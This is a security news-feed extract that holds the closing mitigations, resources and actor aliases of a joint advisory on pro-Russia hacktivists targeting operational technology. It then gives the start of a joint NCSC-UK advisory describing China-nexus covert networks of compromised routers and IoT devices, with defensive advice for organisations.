<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
<li>Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ProhibitConnectionofUnauthorizedDevices3R" title="CPG 3.R">CPG 3.R</a>].</li>
<li>Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.</li>
</ul>
</li>
<li><strong>Enable control system security features </strong>that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#AdministratorsMaintainSeparateUserandPrivilegedAccounts3G" title="CPG 3.G">CPG 3.G</a>].</li>
<li><strong>Implement and practice business recovery/disaster recovery plans.</strong> Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
<ul>
<li>Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IncidentPlanningandPreparedness6A" title="CPG 6.A">CPG 6.A</a>].</li>
<li>Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainSystemBackupsRestorationAbility3O" title="CPG 3.O">CPG 3.O</a>].</li>
</ul>
</li>
<li><strong>Collect and monitor the traffic of OT assets and networking devices.</strong> This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.</li>
<li><strong>Review configurations for setpoint ranges or tag values </strong>to stay within safe ranges and establish alerting for deviations.</li>
<li><strong>Take a proactive approach in the procurement process</strong> by following the guidance outlined in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
</ul>
<h3>OT Device Manufacturers</h3>
<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
